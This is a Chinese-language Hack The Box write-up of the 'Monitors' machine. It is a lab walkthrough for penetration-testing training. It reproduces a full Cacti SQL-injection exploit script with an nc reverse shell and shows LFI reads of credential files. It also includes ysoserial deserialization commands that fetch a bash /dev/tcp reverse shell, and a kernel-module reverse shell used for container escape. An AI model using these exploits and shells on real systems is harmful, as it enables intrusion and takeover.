HTB: Monitors (OSWE 靶機)

Monitors 是一個hard的 Linux 靶機,這個靶機的解題過程涉及多個技術與漏洞利用。首先,利用一個 WordPress 插件 漏洞進行 SQL 注入,從而實現 command injection,這樣可以在系統上取得 Shell。隨後,通過基本的服務文件枚舉,成功獲得用戶密碼,並以此通過 SSH 獲得系統的初步控制權。在取得用戶權限後,接下來的根權(root)階段則涉及對 Apache OFBiz 進行 Java 基於 XML RPC 的反序列化 攻擊,成功在 Docker 容器中執行 Shell。最後,利用 CAP_SYS_MODULE 權限來加載惡意的kernel模塊,針對主機進行攻擊,進而實現特權升級,最終取得 root 權限。這個過程結合了多種攻擊技術,從 Web 應用漏洞到內核模塊的濫用,展示了多層次的滲透測試技巧和漏洞利用方式。

機器資訊

  • 平台: Hack The Box

  • 難度: hard

  • IP: 10.129.232.111

  • 作業系統: Linux

偵察(Recon)

Nmap 掃描-TCP

sudo nmap -sC -sV -sT --min-rate 10000 10.129.232.111 -oA scan/TCP 

Screenshot 2025-10-10 at 6.31.59 PM 開放端口: - 22/tcp - SSH (OpenSSH 8.9p1) - 80/tcp - HTTP Apache 2.4.29 (nginx 1.18.0)

Web -TCP 80 (Monitors.htb)

Screenshot 2025-10-10 at 6.33.30 PM.png 訪問 http://10.129.232.111/ 網頁上面寫著『If you are having issues accessing the site then contact the website administrator: admin@monitors.htb』 先把monitors.htb添加到 hosts 文件:

echo "10.129.232.111  monitors.htb" | sudo tee -a /etc/hosts
  • tee 會生成檔案
  • -a 代表 append 寫入在最後一行

Wordpress

重新瀏覽會看到網站運行類似監視器 的系統,從右下角可以看到是使用wordpress架設的網站 Screenshot 2025-10-10 at 6.39.04 PM.png 查看原始碼可看到wordpress 版本是 5.5.1 Screenshot 2025-10-10 at 6.50.22 PM.png 既然都看到Wordpress直觀就是要跑WPscan

wpscan --url http://monitors.htb/ --enumerate --api-token 放入你的api

api-token要來申請一下點這裡 從WPscan上可以看到有一個Plugin有『Unauthenticated File Inclusion』的漏洞,並且裡面有exploitDB Screenshot 2025-10-11 at 12.25.13 AM.pngExploitDB可以看到是有RFI的漏洞可以利用 Screenshot 2025-10-11 at 12.28.11 AM.png 在CVE提供的SourceCode 裡面寫到,他會透過GET請求url並且取得Url的內容,也就說如果能找到可以利用上傳功能就能解析php拿到revershell

先驗證POC Screenshot 2025-10-12 at 5.59.49 PM.png 網頁瀏覽有點醜 使用curl 比較好看一點

curl -i 'http://monitors.htb//wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/passwd'

Screenshot 2025-10-12 at 6.00.35 PM.png 從/etc/passwd有看到裡面還有一個使用者是『marcus』,後續如果找不到密碼可以用這username去爆破密碼

而且WordPress是開源的專案,可以去github上找有沒有類似的Config配置檔案,看有沒有存放一些可利用的credentials。 從這邊可以看到wordpress 有『wp-config-sample.php』,這時候就要去試試看有沒有這個檔案,或者是猜有沒有可能是『config.php』其他名稱命名的 Screenshot 2025-10-12 at 6.19.03 PM.png 最後猜出來的php檔案是『wp-config.php』

curl -i 'http://monitors.htb//wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=../../../wp-config.php' 

可以知道 db_user 是『wpadmin』db_password是『BestAdministrator@2020!』 既然我們拿到password,也不排除密碼重複利用的狀況

Screenshot 2025-10-12 at 6.23.15 PM.png 很可惜沒有重複利用 Screenshot 2025-10-12 at 6.25.41 PM.png 我們在前面從config.php拿到db帳密之後,記得都是admin,所以要找有管理員可以登入的頁面,

使用feroxbuste目錄爆破找到一個wp-admin的頁面

feroxbuster -u http://monitors.htb/   

Screenshot 2025-10-12 at 6.29.39 PM.png 使用剛剛的wp-admin登入看看 Screenshot 2025-10-12 at 6.31.40 PM.png 很可惜的是也無法登入 Screenshot 2025-10-12 at 6.34.16 PM.png 既然db帳密無法登入wordpress的管理頁面,這時候只能回去看列舉的內容有哪些可以利用,並且能透過LFI讀取什麼內容

在前面nmap掃描並且知道是Apache的Server,在Apache中/etc/apache2/sites-enabled/000-default.conf 通常是 Apache 的 **預設虛擬主機配置文件。

curl -i http://monitors.htb//wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../../../etc/apache2/sites-enabled/000-default.conf

之後我們在使用剛剛的LFI去利用,可以看到有另一個Vhost是 『cacti-admin.monitors.htb』 Screenshot 2025-10-12 at 6.47.32 PM.png 在一樣把它加入我們的/etc/hosts

echo "10.129.232.111  cacti-admin.monitors.htb" | sudo tee -a /etc/hosts

Web -TCP 80 (cacti-admin.monitors.htb)

是一個登入頁面可以從登入頁面下面看到版本是1.2.12 Screenshot 2025-10-14 at 11.59.19 PM.png 看到一個Web也洩漏出版本先查看有沒有可以利用的 使用searchsploit 搜尋找到一個 『filter SQL Injection』 Screenshot 2025-10-15 at 12.04.30 AM.png 並且把它抓下來

searchsploit cacti 1.2.12 -m 49810.py
# Exploit Title: Cacti 1.2.12 - 'filter' SQL Injection / Remote Code Execution
# Date: 04/28/2021
# Exploit Author: Leonardo Paiva
# Vendor Homepage: https://www.cacti.net/
# Software Link: https://www.cacti.net/downloads/cacti-1.2.12.tar.gz
# Version: 1.2.12
# Tested on: Ubuntu 20.04
# CVE : CVE-2020-14295
# Credits: @M4yFly (https://twitter.com/M4yFly)
# References:
# https://github.commandcom/Cacti/cacti/issues/3622
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14295

#!/usr/bin/python3

import argparse
import requests
import sys
import urllib.parse
from bs4 import BeautifulSoup

# proxies = {'http': 'http://127.0.0.1:8080'}


def login(url, username, password, session):
    print("[+] Connecting to the server...")
    get_token_request = session.get(url + "/cacti/index.php", timeout=5) #, proxies=proxies)

    print("[+] Retrieving CSRF token...")
    html_content = get_token_request.text
    soup = BeautifulSoup(html_content, 'html.parser')

    csrf_token = soup.find_all('input')[0].get('value').split(';')[0]

    if csrf_token:
        print(f"[+] Got CSRF token: {csrf_token}")
        print("[+] Trying to log in...")

        data = {
            '__csrf_magic': csrf_token,
            'action': 'login',
            'login_username': username,
            'login_password': password
        }

        login_request = session.post(url + "/cacti/index.php", data=data) #, proxies=proxies)
        if "Invalid User Name/Password Please Retype" in login_request.text:
            print("[-] Unable to log in. Check your credentials")
            sys.exit()
        else:
            print("[+] Successfully logged in!")
    else:
        print("[-] Unable to retrieve CSRF token!")
        sys.exit()


def exploit(lhost, lport, session):
    rshell = urllib.parse.quote(f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost} {lport} >/tmp/f")
    payload = f"')+UNION+SELECT+1,username,password,4,5,6,7+from+user_auth;update+settings+set+value='{rshell};'+where+name='path_php_binary';--+-"

    exploit_request = session.get(url + f"/cacti/color.php?action=export&header=false&filter=1{payload}") #, proxies=proxies)

    print("\n[+] SQL Injection:")
    print(exploit_request.text)

    try:
        session.get(url + "/cacti/host.php?action=reindex", timeout=1) #, proxies=proxies)
    except Exception:
        pass

    print("[+] Check your nc listener!")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='[*] Cacti 1.2.12 - SQL Injection / Remote Code Execution')

    parser.add_argument('-t', metavar='<target/host URL>', help='target/host URL, example: http://192.168.15.58', required=True)
    parser.add_argument('-u', metavar='<user>', help='user to log in', required=True)
    parser.add_argument('-p', metavar='<password>', help="user's password", required=True)
    parser.add_argument('--lhost', metavar='<lhost>', help='your IP address', required=True)
    parser.add_argument('--lport', metavar='<lport>', help='your listening port', required=True)
    args = parser.parse_args()

    url = args.t
    username = args.u
    password = args.p
    lhost = args.lhost
    lport = args.lport

    session = requests.Session()

    login(url, username, password, session)
    exploit(lhost, lport, session)

從這個payload需要帳密登入並且使用建立有效的Session才能夠利用,所以還是需要知道帳密。 我們手上wpadmin、marcus 還有一組密碼BestAdministrator@2020! 另外查到cacti 預設帳密是admin:admin Screenshot 2025-10-15 at 12.27.26 AM.png 也就是説帳號可以嘗試wpadmin、marcus、admin 密碼可以嘗試 BestAdministrator@2020! 、admin

成功使用admin:BestAdministrator@2020! 登入 Screenshot 2025-10-15 at 12.29.07 AM.png

Shell as www-data(POC)

使用前面找到的cacti 版本的explot code

python3 49810.py -t http://cacti-admin.monitors.htb -u admin -p "BestAdministrator@2020\!" --lhost 10.10.14.14 --lport 1234

Screenshot 2025-10-15 at 12.38.54 AM.png 打之前記得先做nc 監聽Screenshot 2025-10-15 at 12.39.19 AM.png 成功拿到 www-data shell了 先做升級tty

python3 -c 'import pty;pty.spawn("/bin/bash")'

(後續會再補充如果做ExploitCode的過程(我還在努力

www-data to Marcus

拿到基本的網頁Shell,接下來就是要想怎麼拿到我們一開始使用LFI找到的Marcus的Shell 因為我們無法拿到 Marcus的Shell Screenshot 2025-10-15 at 1.06.30 AM.png

ls -liah

當我輸入顯示所有隱藏檔案有發現到 Marcus有一個備份檔案『.backup』 Screenshot 2025-10-15 at 1.07.21 AM.png 一樣沒有權限可以利用 Screenshot 2025-10-15 at 1.08.38 AM.png 到這邊原本想說用 wget或者是curl 上傳linpeas列舉,結果發現目標兩個都沒裝,只能慢慢翻了 Screenshot 2025-10-15 at 1.12.20 AM.png

netnetstat -ano

查看目前系統的正在用的port的狀況,其中有看到一個8443 , Screenshot 2025-10-15 at 1.16.13 AM.png 另外有發現docker 跟 container正在跑 不排除要escape docker Screenshot 2025-10-15 at 1.19.46 AM.png 直到搜尋

grep 'marcus' /etc -R 2>/dev/null

使用 grep 搜尋後又發現『/etc/systemd/system/cacti-backup.service:ExecStart=/home/marcus/.backup/backup.sh 』,大概率就是當前權限不夠所以 在找.backup 沒有看到 Screenshot 2025-10-15 at 9.42.34 AM.png 去cat 他看看,並且看到一組帳密 Screenshot 2025-10-15 at 9.49.24 AM.png cacti_backup:VerticalEdge2020 使用這組密碼登入看看 是不是 Marcus的 Screenshot 2025-10-15 at 9.51.39 AM.png 成功登入,換成ssh登入 shell比較完整。 Screenshot 2025-10-15 at 9.53.54 AM.png

Marcus to Docker root

拿到user flag之後 在桌面有看到一個note.txt 寫著 需要更新docker image 可以呼印我們前面找到的docker 跟 container 的資訊 Screenshot 2025-10-15 at 9.54.46 AM.png 也使用

ps aux | grep docker

來找現在系統上所有執行的Process 過濾只有docker的內容 可以看到 目前 container 正在使用8443 Screenshot 2025-10-15 at 9.56.01 AM.png 既然是在內網 那我們必須說 Port forwarding

ssh -L 8443:127.0.0.1:8443 marcus@10.129.232.111

在 Kali開一個 8443 Port 當你連這個 port 時,SSH 把資料經過加密通道送到10.129.232.111 , 然後從它的角度去連 localhost:8443, 最後把回應傳回你這邊。

Screenshot 2025-10-15 at 10.02.37 AM.png 先使用 目錄爆破 報看看有沒有有趣的

feroxbuster -u https://localhost:8443/ -k

Screenshot 2025-10-15 at 10.17.47 AM.png 點擊了『/content』或『/catalog』Redirt到一個登入頁面叫做OFBiz Screenshot 2025-10-15 at 10.17.23 AM.png 從 Source code可以看到版本是17.12.01 Screenshot 2025-10-15 at 10.19.53 AM.png 搜尋看到有一個RCE看起來是要做XML-RPC JAVA的反序列化 Screenshot 2025-10-15 at 10.20.56 AM.png

可以從github這邊看到有POC 先抓ysoerial來產java 序列化的payload

先建立 shell.sh

#!/bin/bash
/bin/bash -i >& /dev/tcp/10.10.x.x/8001 0>&1

啟動http.server

sudo python3 -m http.server 80

使用ysoerial產payload

java -jar ysoserial-all.jar CommonsBeanutils1 "wget 10.10.14.14:4545/shell.sh -O /tmp/shell.sh" | base64 | tr -d "\n"

使用burpsuite送出POST請求,再把剛剛產出來的payload base64丟進去 Screenshot 2025-10-15 at 11.03.08 PM.png 送出請求後,在http.server上看到GET到我們的shell.sh Screenshot 2025-10-15 at 11.06.59 PM.png Screenshot 2025-10-15 at 11.07.19 PM.png 再做一個執行shell並且先監聽

java -jar ysoserial-all.jar CommonsBeanutils1 "bash  /tmp/shell.sh" | base64 | tr -d "\n" 

成功拿到docker的root了 Screenshot 2025-10-15 at 11.09.53 PM.png

Escape the docker to real root

進來之後一樣先升級我們的tty

python -c 'import pty;pty.spawn("bash")'

使用capsh 顯示目前container可以用的功能

capsh --print

Screenshot 2025-10-15 at 11.14.30 PM.png 除了手動列舉以外也能夠使用deepceDocker列舉提權的工具 發現在列舉的過程當中發現『CAP_SYS_MODULE』的功能,並且從這邊文章可以看到如何利用的方式

可以在kali生一些壞壞的東西,也可以直接在container裡面生

#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.7/443 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);

以及建立makefile

obj-m +=reverse-shell.o
all:
        make -C /lib/modules/4.15.0-142-generic/build M=/root modules
clean:
        make -C /lib/modules/4.15.0-142-generic/build M=/root clean

兩個都要放在/root路徑裡面後執行make Screenshot 2025-10-15 at 11.54.45 PM.png 啟動nc並且使用insmod安裝就會拿到shell!!

insmod reverse-shell.ko

Screenshot 2025-10-15 at 11.57.09 PM.png